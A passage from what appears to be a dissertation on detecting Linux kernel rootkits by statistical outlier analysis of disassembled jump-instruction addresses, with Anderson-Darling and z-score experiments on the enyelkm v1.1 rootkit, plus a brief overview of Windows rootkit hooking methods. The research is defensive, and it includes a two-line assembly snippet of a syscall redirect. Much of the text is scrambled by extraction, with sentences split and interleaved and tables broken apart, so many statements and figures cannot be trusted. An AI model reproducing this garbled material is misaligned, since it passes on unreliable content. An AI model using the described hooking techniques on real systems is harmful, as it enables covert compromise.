f being interested in memory addresses located only in the system call table, the 

ration, 

serve this attack simply by disassembling the kernel, or specific system 

ry 

at a 

.  

r 

ny conceivable combination 

f jump

o

detection effort will be focused on all jump instructions within the kernel, and sets of 

instructions that may mimick a jump instruction.  Specifically, the operands of these 

instructions, memory addresses, are of particular interest.   

 How may this attack be detected?  Chapter 3 details methods of rootkit ope

and one may ob

calls, and reading the instructions.  From an automated or statistical standpoint this attack 

may be detected by disassembling the entire kernel, and collecting the operands (memo

addresses) found in the conditional and unconditional jump instructions located in the 

disassembled kernel code.  Attackers typically use the simplest method possible,  

usually an attack resembling  

 push   $0xd087bf65 
 ret 

or  

 jmp $0xd087bf65 

 This simple attack is more than sufficient to subvert the kernel, assuming th

suitable malicious, replacement system call has been deployed much higher in memory

However, there are many different conditional and unconditional jump instructions fo

any given architecture.  Theoretically, an attacker may use a

o  instructions to alter the code of any given set of system calls.  It is therefore 

important to consider all jump instructions in the analysis.  The conditional and 
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unconditional jump instructions for the 32-bit Intel architecture are presented in tables 7.1 

and 7.2.    

Table 7.1:  conditional jump instructions for the 32-bit Intel architecture 

Instruction    Description 
JA           jump if above 

          jump if above or equal 
JB               jump if below 

p if below or equal 
JC           jump if carry 
JCXZ           jump if CX register is 0 
JE           jump if equal 

 jump if greater 
 jump if greater or equal 

JLE           jump if lower or equal 

JNAE           jump if not above or equal 

JNBE           jump if not below or equal 

JNE           jump if not equal 

JNGE           jump if not greater or equal 

JNLE           jump if not less or equal 

JNP           jump if not parity 
JNS           jump if not sign 
JNZ           jump if not zero 

JP           jump if parity 
JPE  
JPO 
JS 
JZ ump if zero 

 

Table 7.2:  uncondition  instructions for the 32-bit Intel architecture 
 

Instr    
JMP  Jump 
PUSH, RET 

 

JAE 

JBE           jum

JG          
JGE           
JL             jump if lower 

JNA           jump if not above 

JNB           jump if not below 

JNC           jump if not carry 

JNG           jump if not greater 

JNL           jump if not less 

JNO           jump if not overflow 

JO           jump if overflow 

          jump if parity even
          jump if parity odd 
          jump if sign 
          j

al jump

uction  Description 
 

Push, Return 
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7.2: Formal Model 

 Recall that memory a sses em calls are represented as 

M1(p1) for all system calls, and  for the subset of system calls in the system call 

table.  Since the operands of all condit p instructions are being 

analyzed for outliers, interest will be f memory addresses for all 

system calls.  Since the entire kernel is being analyzed for the system call modification 

attack, M1(p1) now represent f th resses – from the 

disassembled conditional and uncondi m the running kernel.  

 Memory addresses for system t functionality will be 

represented as M1(p2) for all sy lls, and M2(p2) for the subset of system calls in the 

system call table.  Again, M  the entire kernel is being 

analyzed, not merely the sys

 Recall that this new  kernel rootkits through outlier 

analysis includes several key res. y to understand the 

underlying distribution of system call  a general level.  This includes 

two interrelated groups of system call addresses:  all system call addresses in the kernel, 

r s1; and system call addresses only in the system call table, or s2.  Therefore, s2 is a 

subset of s1.  Since the entire kernel is being analyzed, only s1 is of interest.   

Second, s1 will best fit some known distribution with a discordancy test score of 

owledge will be general, obtained by experimentation with many 

.  

ddre for normal kernel syst

 M2(p1)

ional and unconditional jum

ocused on M1(p1), that is, 

s all o e operands – memory add

tional jump instructions fro

calls modified by rootki

stem ca

1(p2) is of particular interest because

tem call table.  

framework for detecting

 featu   First, it is again necessar

addresses, at least on

o

 

D1.  However, this kn

different operating system/architecture pairs.  If a kernel rootkit is present, s1 will be 

transformed to s1’ and D1 and will be transformed into some less well fitting values D1’

Finally, one discordancy test t will be selected to test for the presence of outliers.  In this 
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case, the chosen discordancy test is the Anderson-Darling goodness of fit test.  This 

model may be formalized as follows:  

s1 = M1(p1) – memory addresses in uninfected system call table    

s

(7.1) 

1 = t( .3) 

stem/architecture pairs, while s1’ is obtained 

rom th

l address in 

6) 

1’ = M1(p2) – memory addresses in infected system call table   (7.2) 

D s1) – discordancy test of uninfected system call table    (7

D1’ = t(s1’) – discordancy test of infected system call table    (7.4) 

 Note that s1 is derived from general knowledge in that it is obtained from 

experimentation across mutliple operating sy

f e specific system under study.  If D1’ > D1 then a rootkit has been detected. 

 If a rootkit has been detected, outliers are removed, one at a time, until the 

discordancy test returns to close to the uninfected value of D1.  Note that the location of 

the outliers is constrained by operating system mechanics, so we know that outliers are 

always in the right hand tail of the distribution.   

 In the following example, Let s1j be the largest (right most) system cal

the kernel.  

s1’ = s1’ – s1j’          (7.5) 

D1’ = t(s1’)          (7.

And again  

If D1’ > D1 then a rootkit has been detected. 

Until the kernel rootkit is fully detected – that is, until D1’ <= D1. 
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7.3  Hardware Platforms 

 One important assumption relied upon by the ‘known distribution model’ is that 

the distribution of system call addresses be very close across kernel versions and 

architectures.  This is absolutely necessary if any analysis is to be performed without a 

priori knowledge of the specific system under observation.  Experiments were conducted 

e to 

32-bit Intel machine, kernel 2.4.27 

Smallest Extreme Value 18279.5 
3-Parameter Loglogistic 19691.675 
3-Parameter Weibull  20236.661 

3-Parameter Lognormal 25136.051 

2-Parameter Exponential 30247.101 
Exponential   30247.104 

 

Table 7.4:  distribution fits from uninfected 32-bit Intel machine, kernel 2.6.8 

Distribution                AD-Score 
Loglogistic   15883.557 
Logistic   16875.174 
3-Parameter Loglogistic 17575.839 
Normal    25497.186 
3-Parameter Lognormal 25554.644 
Lognormal    26270.259 
Weibull   28804.239 
Smallest Extreme Value 28845.74 

rameter Exponential 32412.629 
nential   32419.241 

3-Parameter Weibull  3492063.179 

e 

memory addresses for the 2.6.8 Kernel  used in testing.  However, logistic is still a very 

on Linux kernel versions 2.4.27 and 2.6.8 on a 32-bit Intel Architecture test machin

insure that this assumption is valid.  Note that the SPARC architecture is conspicuously 

absent from this experiment, and this will be addressed later.   

Table 7.3:  distribution fits from uninfected 

Distribution               AD-Score 
Logistic   17667.781 

Loglogistic   24531.615 
Normal    25127.02 

Lognormal    25488.603 
Weibull   28756.302 

2-Pa
Expo

  

 Observe that in tables 7.3 and 7.4, while the logistic distribution best fits th

disassembled memory addresses from the 2.4.27 kernel, it was not the best fit for the 
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good fit (a close 2nd) for the 2.6.8 kernel.  While many more observations are necessary 

to make claims of goodness-of-fit for the memory addresses for various Linux kernel 

versions, this result suggests that this may be possible.  Note that this result is similar to 

the outcome of the experiments using the general distribution model to detect the system 

call ta

 Earlier it was promis  architecture from this 

analysis would be adequatel tions are 

straightforward.  For examp mp instruction for the Intel 

architecture may look like th

 jmp    0xc0104113 

 On the SPARC archi

Note that rs1 is source regis

constX is a constant that fits imal notation, and labelX is a 

label that the assembler (and linker) evaluates to a constX instruction.   

SPARC jump instructions adhere to the following formats [54]: 

 jmpl rs1,rd 
 jmpl rs1+rs2,rd 
 jmpl rs1+const13,rd
 jmpl rs1–const13,rd
 jmpl const13+rs1,rd
 jmpl const13,rd 

 

 The values of the source and destina e SPARC jump 

instructions are certainly ma  access via 

disassembly on a running, o ore, using gdb to disassemble 

and collect the operands (me mp instructions is impossible.  

d to be accomplished by way of a special mechanism.  Specifically, it 

ble modification attack employed by Linux kernel rootkits.   

ed that the exclusion of the SPARC

y explained.  In the Intel architecture, jump instruc

le, a typical unconditional ju

is: 

tecture, jump instructions are handled very differently.   

ter 1, rs2 is source register 2, rd is the destination register,  

 into X bits, expressed in dec

 
 
 

tion registers used in th

lleable, and do not easily lend themselves to

r even a static kernel.  Theref

mory addresses) of SPARC ju

This would nee
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would be necessary to intercept the system calls employing jump instructions, and co

the runtime values in the registers during execution.  This may be possible, but it wou

also be necessary to execute every system call in the kernel in order to collect these 

addresses.  Clearly, this project is not within the scope of this research, and no functional

rootkits employing the system call target modification attack for the SPARC architecture 

have been found.   

 

7.4  Normality of Data 

llect 

ld 

 

 

t 

 

from enyelkm v1.1 infected 32-bit Intel kernel 2.6.8  

Logistic   17576.775 

Lognormal    27335.94 

Smallest Extreme Value 29142.187 
 
 

 

hows that, with enyelkm v1.1 rootkit infection, there 

he best and worst fitting distributions for a given 

kernel version.  Earlier work in this research is based upon this fact, but in the preceding 

work, the differences in the distributions were more pronounced.  In this chapter, 

experiments were conducted to determine whether the ‘known distribution model’ is 

 Tables 7.3 and 7.4 show the goodness of fit scores for 32 bit Intel Architecture 

Kernel versions 2.4.27 and 2.6.8 that are uninfected.  Table 7.5 shows the goodness of fi

scores for the 32 bit Intel Architecture Kernel version 2.6.8 infected with the enyelkm

v1.1 rootkit.   

Table 7.5:  AD-scores 

Distribution               AD-Score  

3-Parameter Loglogistic 18288.079 
Loglogistic   21471.281 
3-Parameter Lognormal 27036.452 
Normal    27043.837 

3-Parameter Weibull  29131.015 
Weibull   29142.046 

2-Parameter Exponential 32830.144
Exponential   32839.034

 An examination of this data s

are measurable but suble changes in t
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sensitive enough detect kernel rootkits that employ the system call target modification 

attack.  

 Just as in previous examples, the normal distribution seems to be ‘in the middle

of the goodness of fit scores in each of these three scenarios.  This suggests that the 

normal distribution may be a suitable basis for a discordancy test, as it appears to be an 

adequate (although not the best) fit for kernels infected or uninfected with kernel roo

employing the system call target modification attack.   

 

7.5  Statistical Met

’ 

tkits 

hods 
 

Section 5.4 discusses statistical methods used in the general distribution detection 

 will be presented here.  While the data in the system call table 

odific e 

iscordancy tests require at least an estimate of the number of outliers, and 

their lo

priori knowledge.  A general utliers is to identify the 

underlying distribution of the om the 

distribution.  This approach is es not scale well [50].  While 

this approach worked well wh ber of system call addresses – 

a few hundred in the system c well when dealing with 

approximately 72,000 disasse rnel.  This 

misgiving may be further stre nderson-Darling goodness of fit 

 

model, but a brief review

m ation attacks presented in chapters 5 and 6 tended to fit the largest extreme valu

distribution, the data in the system call target modification attack tends to fit the logistic 

distribution best.   

 Most d

cations.  In this case, the purpose is to identify outliers without this kind of a 

and early approach to identifying o

 data and identify individuals that deviate fr

 common in statistics, but do

en working with a finite num

all table – it may not scale 

mbled memory addresses from the 2.6.8 ke

nghened by observing the A
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scores in Tables 7.3, 7.4, and 7.5.  Even after infection with the enyelkm v1.1 kernel 

l 

 

tion attack, the ‘assumption of normality’ model holds more promise for 

 
fit score of the 32-bit Intel 2.4.27 

ernel for the Logistic distribution is 17667.781, within 5% of the goodness of fit score 

nd same architecture for the 2.6.8 kernel with a score of 

 

ntel architecture 2.6.8 uninfected kernel and a 32-bit Intel architecture 

le 

patching rootkit, the best fitting distribution - logistic – suffers only a modest increase 

from 16875.174 to 17576.775.  This is an increase of less than five percent – it is 

quesitonable whether the general distribution model will be able to adequately detect a 

rootkit detection within this narrow margin.  This is eloquent proof that the genera

distribution detection model does not scale well.  Even though the general distribution

detection model may prove to be inadequate for detecting the system call target 

modifica

detecting this kind of attack, and will  prove to be more successful than this approach, 

with the addition of a few modifications. 

 

7.6  Experimental Results 

 Observe that the Anderson-Darling goodness of 

k

for the same distribution a

16875.174.  This is good news, in that different kernel versions within the same 

architecture fit the same distribution very closely, at least as compared to other 

distributions.   

 The bad news is that the difference between the Anderson-Darling goodness of fit

scores for a 32-bit I

2.6.8 kernel infected with the enyelkm v1.1 kernel patching rootkit are also within 4% of 

one another.  The uninfected AD score for the logistic distribution is 16875.174, whi

the AD Score for the logistic distribution of the same system after infected by the 
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Enyelkm v1.1 kernel patching rootkit is 17576.775.  Obviously, the general distri

model does not scale well to take into account the tens of thousands of memory addresses

gleaned from disassembling the kernel, and the very few outliers among these in the 

event of rootkit detection.  Clearly, a more sensitive test is required.  As previous

discussed in Chapter 5, a general and early approach to identifying outliers was to 

identify the closest fitting underlying distribution of the data and identify items that 

deviate from the distribution.  While common, this approach doesn’t scale well [50].  

 

7.7  Conclusions 

 Clearly, in order for the general distribution models to successfully detect the 

system call target modification attack, general a priori knowledge will be required fo

each operating system (including kernel version) and architecture pair.  Optimally, one 

should only need general a priori knowledge about broad categories of operating

and architecture pairs.  A perfect example of this is the finding that at least for the 

call table modification attack, the distributions of system call addresses tend the fit the 

largest extreme value distribution very we

bution 

 

ly 

 

r 

 system 

system 

ll, even across kernel versions and 

rchitectures.  There is no doubt that the application of the general distribution model to 

cation attack is inadequate in this respect.   

ts to 

 

a

the system call target modifi

 There is no doubt that a more sensitive model is needed in order to detect the 

system call target modification attack.  An improved, normality-based model for this 

specific purpose will be presented in the next chapter, including experimental resul

demonstrate the appropriateness of the model for this approach.   
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CHAPTER VIII  

 

NORMAL DISTRIBUTION MODELS 

 

 

tack, 

d 8.2 

ions to 

ected 

the 

tatistical properties and normality of the data, while section 8.5 presents the detailed 

ts.  Finally, section 8.6 includes relevant conclusions.   

, 

of 

ions.  The 

 DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING 

 

 This chapter will address the use of a modified ‘assumption of normality’ 

technique to detect a Linux kernel rootkit utilizing the system call redirection at

which is a special case of the system call target modification attack.  Sections 8.1 an

present a review of definitions, and a detailed explanation of necessary modificat

the ‘assumption of normality’ formal model.  Section 8.3 presents an unexp

experimental finding critical to the success of thismodel.  Section 8.4 discusses 

s

experimental resul

 

8.1  Definitions 

 Much of the information presented here is similar to the information in Chapter 7

but a brief review will be presented here.  Again in this chapter, the definitions of an 

outlier, discordancy test, kernel rootkit have not changed from the original definitions 

presented in Chapter 5.  Similar to Chapter 7, this chapter focuses on detecting rootkits 

the two latter types – system call redirection, and system call target modificat
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system call table redirection is a special case of the system call target modification attack

in that the system call table event handler itself becomes the victim of sy

, 

stem call target 

l in /dev/mem or 

/dev/mem and overwrite the system call code; 

• Specifically, the rootkit over ructions of a given system call 

with a jump instruction to higher in m mory, where a malicious system call exists 

• The operands, th nstructions are of 

particular interest for statistical analy

• 

er of 

ese instructions is important and this 

lso be collected.  These instructions are further analyzed, and their 

operands – memory addresses – are extracted for analysis.  After these memory addresses 

modification, and may be detected by the same methods.  Recall that, in Section 7.1, 

several key concepts relevant to this detection model were presented in detail.  These 

concepts included:  

• Runtime kernel patching rookits modify the running kerne

writes first few inst

e

to replace the original; 

at is, the memory addresses of these jump i

sis; 

 These jump instructions presented in table 7.1; 

• The operands of the jump instructions – memory addresses – are collected by 

disassembling the kernel.   

 

8.2  Formal Model 

 Remember that for this analysis to occur, the running kernel must be 

disassembled, and all conditional and unconditional jump instructions (including push 

instructions) must be collected.  For reasons which will become clear later, the ord

appearance in the disassembled code of th

information will a
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are collected, they are converted from hexadecimal to decimal addresses.  Z-scores are 

then calculated for these addresses, and those with z-scores greather than or equal to three 

are considered outliers and as such are reserved for further analysis.  Unfortunately, even 

an uninfected kernel contains memory addresses of this kind which are natural outliers, 

that is, are outliers but have not been modified by kernel rootkit infection.  Even though 

the dataset contains approximately 70,000 data items, only a few (typically one dozen or 

less) have z-scores greather than or equal to three.   

 This data, the memory addresses, is univariate, and it also contains several natural 

outliers making a conventional, normality based approach for outliers analysis 

impractical.  For complex reasons which will be explained later, the order of appearance 

of these memory addresses appears to be a factor.  It will prove helpful to add a second 

dimension to the data, a dimension that takes into account the order of appearance of each 

individual as well as the indivual’s Z-Score.  A second dimension will be added, a 

composite value cons e 

individual’s Z-Score.  This  or the ‘LZ’ value.   

 

system, the r

‘LZ’ score of the individual  less than ten.  The ratio 

betw e g 

individu .   

 g kernel rootkit, the ratio 

betw e e 

‘LZ’ score of the uninfected individual with the lowest ‘LZ’ score should again be less 

tituted by the line number (order of appearance) multiplied by th

 value will be called ‘L*Z’,

This data will then be sorted by the ‘LZ’ score descending.  In an uninfected 

atio between ‘LZ’ score of the individual with the highest ‘LZ’ score and the 

with the lowest ‘LZ’ score is

e n the ‘LZ’ score of the individual with the highest ‘LZ’ score and the remainin

als will, of course, be much less than ten

 In a system infected by a runtime kernel patchin

e n the ‘LZ’ score of the uninfected individual with the highest ‘LZ’ score and th
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than 10.  However, the ratios between the ‘LZ’ score of the uninfected individual with the 

d to be 

e 

 

tually, the system calls constituting 

ions such 

t 

be 

stem calls, 

leaving the low level calls untouched.  Relying on this assumption, it can be shown 

highest ‘LZ’ score and the ‘LZ’ scores of the infected individuals are expecte

much greater than 10, and probably greater than 100.   

 

8.3  Order of Appearance 

 The fundamental purpose of this model is to identify those individuals that hav

(a) Z-Scores in excess of 3, and (b) also have an early order of appearance in the code of 

the disassembled kernel instructions.  Recall that the order of appearance of the 

disassembled instructions appear to be a factor in determining the likelihood that any 

given individual will have been infected by a kernel rootkit.  System calls can be thought 

of as either higher-level function calls (such as sys_read or sys_write) and lower level 

functions (such as the system calls constituting VFS, the virtual file system).  Clearly, an

attacker would prefer to only rewrite sys_read instead of an entire library of lower level 

system calls such as those comprising VFS.  Concep

the Linux kernel may be imagined as a pyramid, with sys_read, sys_write, and the other 

high level functions at the apex of the pyramid, and the lower level kernel funct

as VFS system calls, near the bottom of the pyramid.  Interestingly, at boot time this 

‘pyramid’ of system calls appears to be loaded into memory in an inverted manner.  Tha

is, the higher level functions such as sys_read and sys_write appear to be loaded into 

memory first, at the lower memory addresses.  The lower level system calls tend to 

loaded later, much higher in memory.  Attackers wish to gain the upper hand with the 

minimum effort necessary, and all known rootkits attack only high level sy
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s  call memory addresses with Z-Scores greater than or equal to three and very l

orders of appearance are highly suspect.  

 Having shown which system call memory addresses are more likely to be 

infected, it should be noted that this data contains natural outliers with z-scores greater 

than or equal to three, even in an uninfected system.  However, the system calls having 

ystem ow 

 an 

 files for execution into memory, 

sharing memory between processes.   

e (Swap cache) – Page Frame Reclaimation Algorithm.  

s 

these outliers can be shown to be low level system calls, unlikely to be modified by

attacker.  Specifically, these system calls containing natural outliers are :  

• aio_put_req (Asynchronous I/O) – AIO Ring is a memory buffer in the address 

space of the user mode process that is also accessible by all processes in kernel 

mode. 

• mpage_writepage (Memory mapping) – Loading

• move_to_swap_cach

Calls add_to_swap_cache. 

• page_put_link (Ext2 filesystem) 

 These functions provide functionality for asynchronous I/O, memory mapping, 

and memory management.  These low level functions have historically been of little 

interest to attackers.  Having established this, it can now be shown that individuals with 

high standard deviation and high order of appearance are actually low level system call

containing natural outliers, and are unlikely to be selected as targets by an attacker.   

 Amongst the individuals just described, what would identify other individuals as 

rootkit infected outliers?  First, these individuals would have a high z-score.  Second, 

suspect individuals would be high level system calls – that is, system calls with a very 

 94



low order of appearance.  In an uninfected system the ratio between ‘LZ’ scores of the 

two individuals with the largest and smallest ‘LZ’ scores, and having  z-scores greate

than or equal to three, is typically less than 10.   

 In an infected system, those individuals having a ‘LZ’ score ratio of one hundr

or more (as compared to the individual with the largest ‘LZ’ score and having a z-score 

less than three) have been infected by a kernel rootkit.  Why?  Because they have (a) b

identified as outliers having z-scores greater than or equal to three, and (b) they have 

been identified as high level system calls having a very early order of appearance.   

 Using the ‘assumption of normality’ model, it is assumed that the system call 

addresses in the disassembled kernel syste

r 

ed 

een 

m calls are somewhat normally distributed.  If 

is ma

 

 

.1 

of the 

inform

 

imitates a subset of operating system functionality p1.  Therefore, p1 is a subset of p2.  

The n

the ker of compromised systems, attack other 

system he 

authori nel rootkit functionality can be expressed as p2 – p1 = 

p’ [ ]

th y be assumed, this simplifies the task of rootkit detection.   

 The definitions mentioned in this section have been previously defined in section

5.1.  The definitions of an outlier and discordancy test have not changed.  The definition

of a kernel rootkit also remains unchanged, and the formal model presented in Section 5

still holds with further modifications.  Since the model has changed, some 

ation presented in Section 5.1 will be reviewed again here.    

As discussed previously, a kernel rootkit is defined as some program p2, which 

 fu ctionality that exists in p2, but not p1, is the additional functionality provided by 

nel rootkit in order to maintain control 

s, destroy evidence, and decrease the chance of the attacker being detected by t

ties.  More formally, the ker

14 . 
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 The fundamental differences in this approach is the absence of the necessity to 

have statistical information about the properties of an uninfected system, and the need

analyze memory addresses in the entire kernel instead of only in the system call table.  

Therefore, the elements of the formal model that define the properties of an uninfected 

system become unnecessary and may be discarded.  The elements to be discarded are

 to 

: 

 = M1

) 

 

 

 

nfected system call table  (8.6) 

 

) 

.8) 

Z = O ) 

resents the number of 

s1 (p1) – system call addresses in clean kernel      (8.1) 

s2 = M2(p1) – system call addresses in clean system call table   (8.2

s2’ = M2(p2) – system call addresses in infected system call table   (8.3)

D1 = t(s1) – Discordancy score of system call addresses in clean kernel  (8.4)

D2 = t(s2) – Discordancy score of addresses in clean system call table  (8.5)

D2’ = t(s2’) – Discordancy score of addresses in i

 Having discarded half the elements from the original model, the new  model is 

smaller, more elegant, and requires significantly less a priori knowledge about the system

under observation.  The only elements remaining in the new formal model are: 

s1’ = M1(p2) – system call addresses in infected kernel    (8.7

D1’ = t(s1’) – Discordancy score of system calls in infected kernel   (8

L rder of appearance * Z-Score       (8.9

D2’ = r(s1’) – Second discordancy score of addresses in infected kernel  (8.10) 

 The discordancy test t is simply the z-score.  The z-score rep

standard deviations away from the mean for a particular individual x, and is represented 

by z = (x – X )/σ.  The ‘LZ’ score is represented by the line number in the disassembled 

code in which the value occurs multiplied by the individual’s Z-Score.  The second 

discordancy test r is represented by the ratio between the ‘LZ’ score of the individual 
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with Z-Score >=3 and the largest ‘LZ’ score and the ‘LZ’ score of any given indiv

For an individual to be considered an outlier and infected by a kerne

idual.  

l rootkit, it must 

tisfy 

ness of fit scores for the 32 bit Intel architecture kernel version 2.6.8 infected 

 

h 

h to a w ap icatio of the

will b show

ot

sa   

D1’ >= 3 and   D2’ > 100       (8.11) 

 

8.4  Normality of Data 

 Tables 8.1 shows the goodness of fit scores for the 32 bit Intel architecture kernel 

2.6.8 disassembled system call memory addresses that are uninfected.  Table 8.2 shows 

the good

with the enyelkm v1.1 rootkit.   

 These tables shows that, with enyelkm v1.1 rootkit infection, there are measurable

but suble changes in the best and worst fitting distributions.  Earlier work in this researc

is based upon changes in the fits of distributions, but in the preceding examples, the 

differences in the distributions were much more pronounced.  However, all that is 

necessary in this case is that the data be normal enoug llo pl n  

normality based tests in the formal model.  Clearly, the normal distribition is one of the 

better fitting distributions in both uninfected and infected kernels.  It e n that 

this approach does not produce false positives on a uninfected kernel and does n  

produce false negatives on an infected kernel.   
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Table 8.1 - Anderson-Darling scores for uninfecte 6 s ed el d 2. .8 disa sembl  kern
 

Normal          25497.186 

Weibull   28804.239 

 

3-Parameter Loglogistic 18288.079 

3-Parameter Weibull  29131.015 

2-Parameter Exponential 32830.144 
Exponential   32839.034 

Having established that the the dataset is normal enough to facilitate the use of 

e may proceed by applying the model as set forth in Section 5.1 

ven of these individuals pass the first discordancy test, 

Distribution                AD-Score 
Loglogistic   15883.557 
Logistic   16875.174 
3-Parameter Loglogistic 17575.839 

3-Parameter Lognormal 25554.644 
Lognormal    26270.259 

Smallest Extreme Value 28845.74 
2-Parameter Exponential 32412.629 
Exponential   32419.241 
3-Parameter Weibull  3492063.179 

Table 8.2 – AD-scores for disassembled 2.6.8 kernel infected with enyelkm v1.1 
 

Distribution               AD-Score 
Logistic   17576.775 

Loglogistic   21471.281 
3-Parameter Lognormal 27036.452 
Normal          27043.837 
Lognormal    27335.94 

Weibull   29142.046 
Smallest Extreme Value 29142.187 

 

8.5  Experimental Results 

 

normality based tests, on

to a 32-bit Intel architecture 2.6.8 kernel by disassembling the kernel and collecting the 

memory addresses of the conditional and unconditional jump instructions from the 

disassembled code yields approximately 71,000 data items.   

 In the dataset, exactly ele

having z-scores greater than or equal to three.  These individuals are presented in table 

8.3, below.  
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Table 8.3:  individuals passing first discordancy test 

Dec  Line  Z-Score L*Z  Trojaned 
3989496426 133690        11.0229 1473655 0 
3989472440 130696        11.0226 1440607 0 
3988138649 83819  11.0034 922298        0 

3837803050 600477        8.8466  5312183 0 
3571333718 627488        5.0236  3152254 0 

3571333718 627276        5.0236  3151189 
3498557285 5232  3.9795  20821 

 

3955240370 110418        10.5315 1162863 0 

3571333718 627382        5.0236  3151722 0 
0 

 1 
3498557285 5164  3.9795  20550  1 
3498557285 5129  3.9795  20411  1 

 

 Note that individual #5, having ‘LZ Score’  value 5312183, is of particular 

interest because it enjoys the largest ‘LZ Score’ of all the individuals and will be used in 

the computation of the second discordancy test for all the individuals.  Individual #5 is 

portant because (a) is has a z-score greater than or equal to three, and (b) it has a very 

high ‘LZ Score’, identifying  call unlikely to be modified by an 

attacker.  The second discor 2183) divided by 

the ‘LZ Score’ of each of th ts of the second discordancy 

test are presented in Table 8

Table

Dec  Line  Trojaned Ratio 
3989496426 133690  0  3.604767059 
3989472440 130696  0  3.687461605 
3988138649 83819  0  5.759725165 
3955240370 110418  0  4.56819333 

600477  0  1 
571 6 
3571 3 

627276  5.0236  3151189 0  1.68577099 
5232   255.1358244 

3498557285 5164   258.5003893 
3498557285 5129  260.2607908 

 

 Note that those indiv t still have z-scores greater than 

or equal to three receive very low second discordancy test (ratio), typically less than five.  

However, the three infected reater than or equal to three, and 

im

 it as a low-level system

dancy test is the ratio of Individual #5 (531

e other t  he resulen individuals.  T

.4, below.   

 8.4:  results of second discordancy test 
 

Z-Score L*Z  
55 11.0229 14736

11.0226 1440607 
8  11.0034 92229

10.5315 1162863 
8.8466  5312183 3837803050 

3 333718 627488  5.0236  3152254 0  1.68520144
333718 627382  5.0236  3151722 0  1.68548590

3571333718 
3498557285 3.9795  20821  1 

3.9795  20550  1 
3.9795  20411  1  

iduals that are uninfected bu

 individuals have z-scores g
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very high ration scores – typ red fifty.  Clearly, these 

individuals have been modi second 

discordancy test is a measur ater than or equal to three, and 

) an individual’s status as a high level, rather than a low level, system call.   

are most prevalent in the 

 attack is complicated by the discovery of natural outliers, or outliers that 

ccur even in an uninfected system of this kind, within the data.  These outliers occur in 

e disassembled jump instructions of specific low level system calls, specifically the 

following:   

• aio_put fer in the 

address  acce all pr sses in 

kernel m

• mpage_writepage (Memo o 

memory

• move_to_swap_cache (Swap cache) – This is part of the page frame reclaimation 

ically greater than two hund

fied by kernel rootkit infection.  Again, the 

e of (a) having a z-score gre

(b

 

8.6  Conclusions 

 Linux kernel rootkits are closely tied to specific major kernel versions of Linux.  

Rootkits that employ the system call table modification attack are most prevalent in the 

Linux 2.4 kernel, while kernel patching rootkits that employ the system call target 

modification attack or the system call table redirection attack 

Linux 2.6 kernel.   

 Using the ‘assumption of normality’ model to detect the system call target 

modification

o

th

_req (Asynchronous I/O) – The AIO Ring is a memory buf

 space of the user mode process that is also ssible by oce

ode. 

ry mapping) – Used for loading files for execution int

, and sharing memory between processes.   

functionality.  Calls add_to_swap_cache. 
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• page_put_link – This is part of the API for the ext2 filesystem. 

 These system calls typically concern sharing information between processes 

running in user space and processes running in kernel space.  For this reason, outliers ar

generated – these system calls must move between kernel space (typically lower in 

memory), and user space (typically higher in memory).  The formal model presented in 

Section 8.1 takes into account the follow

e 

ing facts: 

• Outliers exist e

•

to memory 

•

r m

•  h peari lower in memory 

 e of natural 

utliers to illuminate the presence of those outliers that stem from the activities of a 

ven in an uninfected system; 

 Higher level system calls tend to be loaded into memory first (receiving lower 

memory addresses), and lower level system calls tend to be loaded in

later (receiving higher memory addresses); 

 Outliers that are a product of low level system calls appearing higher in memory 

are unlikely to be selected fo odification by an attacker; 

 Outliers that are a product of igh level system calls ap ng 

are likely candiates for modification by an attacker. 

The detection method presented in this chapter depends on the presenc

o

rootkit.  What happens in the scenario where the Linux kernel under analysis contains no 

natural outliers?  Assuming the statistical properties of the kernel presented in this 

chapter do not change, absence the presence of natural outliers, all memory addresses 

with z-scores in excess of 3 would be outliers generated by rootkit activity.   
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CHAPTER IX 

 

 
 

 While this research focuses on detecting Linux kernel rootkits, it may also prove 

useful for detecting rootkit infections in other operating systems as well.  Microsoft 

Windows has a structure known as the system service descriptor table, or SSDT, and is in 

and the normal distribution model will be employed in detection attempts against a 

Windows-based kernel rootkit.  Section 9.1 of this chapter presents an overview of the 

Windows architecture and Windows-based rootkits, while the usual definitions and 

formal model constitute sections 9.2 and 9.3.  In section 9.4, the normality and statistical 

properties of the memory addresses constituting the system service descriptor table are 

examined.  Section 9.5 covers the experimental results, with section 9.6 presenting 

further unexpected experimental results.  Finally, section 9.7 includes conclusions and a 

summary.   

 

9.1  An Overview of the Windows Architecture and Windows Rootkits 

 Symantec corporation defines Windows rootkits as “programs that use system 

hooking or modification to hide files, processes, registry keys, and other objects in order 

to hide programs and behaviors”.  However, Windows rootkits do not necessarily include 

DETECTING WINDOWS ROOTKITS  
 

many ways similar to the Linux system call table.  Both the general distribution model 
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functionality to gain administrative access.  In fact, they typically require administrative 

access in order to function [55].   

 otkits – user mode and kernel mode 

roo ts  of 

Micros c 

link lib LL to redirect to the rootkit’s code, 

and e

modifie

 

rootkit  of every running 

 

ystem 

at 

.  The 

ernel is an ideal place to perform this kind of attack because it is as the lowest level and 

erefore ideal for reliable, robust system call hooking [55].   

The system call’s path through the kernel passes through a variety of locations 

perfectly suited for modification of a eral of these will be discussed 

below [55].   

• As a system call s kernel space, it 

must pass through a kind of “gate”.  The purpose of this gate is to insure that user 

There are two primary classes of Windows ro

tki .  User mode rootkits function by modifying operating system calls.  In the case

oft Windows, this involves modifying the common code found in DLL’s (dynami

raries).  Typically, the rootkit will modify a D

 th  rootkit will call the API itself and modify the results before returning the now 

d results to the calling application [55].   

Since user mode applications do run in their own memory space, a user mode 

needs to perform these activities in the memory space

application.  Additionally, the rootkit needs to monitor memory for any new applications 

that execute and modify those memory spaces before the new application can execute

[55].   

 A more effective method method of system hooking would be to hook the s

call further down the path where all paths converge in the kernel.  This is the method th

kernel mode rootkits utilize – system hooking or modification in kernel space

k

th

 

 system call.  Sev

’s execution path leaves user space and enter
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mode code does not have general access to the kernel space.  The gate is 

effectively a proxy between user mode and kernel mode.  In previous versions of 

windows, this gate was implemented via interrupts, and in more modern versions 

of windows, by model specific registers (MSRs).  Both of these mechanisms may 

be modified to cause the gate to redirect to rootkit code instead of kernel code 

[55].   

• Another method for redirection a system call is to modify the system service 

descriptor table (SSDT).  The SSDT is a function pointer table in memory that 

holds the addresses of system calls in kernel memory.  By modifying the SSDT, a 

rootkit can redirect execution to rootkit code instead of legitimate system call 

code [55].  Note that this method is very similar to the system call table 

modification attack in Linux, presented earlier in this work.   

• Finally, another method employed by kernel mode Windows rootkits is to directly 

modify the data structures in kernel memory.  This attack is known as direct 

